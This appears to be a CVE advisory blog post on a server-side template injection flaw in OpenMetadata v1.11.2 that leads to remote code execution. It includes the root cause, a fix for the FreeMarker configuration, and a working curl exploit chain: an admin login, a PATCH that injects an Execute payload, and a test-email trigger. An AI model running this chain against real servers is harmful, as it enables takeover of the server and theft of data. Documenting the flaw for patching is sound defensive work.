Listen to this Post
How the mentioned CVE works:
The vulnerability is a Server-Side Template Injection (SSTI) leading to Remote Code Execution (RCE) in OpenMetadata v1.11.2. The root cause is in the `DefaultTemplateProvider.java` file, which instantiates FreeMarker templates from user-controlled content stored in the database without applying secure configuration settings. Specifically, it lacks `setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER)` and setAPIBuiltinEnabled(false). An attacker with administrative privileges can use the PATCH `/api/v1/docStore/{templateId}` endpoint to inject a malicious FreeMarker template (e.g., one using freemarker.template.utility.Execute) into an email template. When a system action (like sending a test email or a notification) triggers the rendering of this poisoned template, the embedded commands execute on the server with the application’s privileges, resulting in full RCE.
dailycve form:
Platform: OpenMetadata
Version: v1.11.2
Vulnerability: SSTI to RCE
Severity: Critical
date: 2025-12-15
Prediction: 2026-01-31
What Undercode Say:
Obtain Admin JWT Token
TOKEN=$(curl -s -X POST http://localhost:8585/api/v1/users/login -H "Content-Type: application/json" -d '{"email":"[email protected]","password":"YWRtaW4="}' | grep -o '"accessToken":"[^"]' | cut -d'"' -f4)
Inject RCE Payload via PATCH
curl -X PATCH "http://localhost:8585/api/v1/docStore/TEMPLATE_ID" -H "Content-Type: application/json-patch+json" -H "Authorization: Bearer $TOKEN" -d '[{"op": "replace", "path": "/data/template", "value": "<assign ex=\"freemarker.template.utility.Execute\"?new()>RCE: ${ex(\"whoami\")}"}]'
Trigger Template Rendering (Test Email)
curl -X PUT "http://localhost:8585/api/v1/system/email/test" -H "Content-Type: application/json" -H "Authorization: Bearer $TOKEN" -d '{"email":"[email protected]"}'
Vulnerable Code (`DefaultTemplateProvider.java`):
return new Template(templateName, new StringReader(template), new Configuration(Configuration.VERSION_2_3_31));
Remediation Code:
Configuration cfg = new Configuration(Configuration.VERSION_2_3_31); cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER); cfg.setAPIBuiltinEnabled(false); return new Template(templateName, new StringReader(template), cfg);
How Exploit:
- Attacker with admin credentials logs in and obtains a JWT token.
- Attacker identifies the ID of a stored email template (e.g.,
testMail). - Attacker sends a PATCH request to the `/api/v1/docStore/{id}` endpoint, replacing the template content with a malicious FreeMarker payload that instantiates the `Execute` class.
- Attacker triggers an action that causes the server to render the email template, such as using the “test email” system endpoint.
- The FreeMarker engine processes the injected template, executing the OS command embedded within it (e.g.,
whoami,pwd, or a reverse shell command).
Protection from this CVE
Apply the provided code fix to implement secure FreeMarker configuration. Immediately restrict administrative account access and review logs for suspicious PATCH requests to the docStore endpoint. Sanitize and validate all user input stored in the database that is intended for template rendering.
Impact:
Critical impact on confidentiality, integrity, and availability. Successful exploitation grants attackers shell access to the application server, leading to potential full system compromise, data exfiltration of secrets and databases, and establishment of persistent reverse shells for lateral movement. This violates compliance standards and poses severe business risks.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
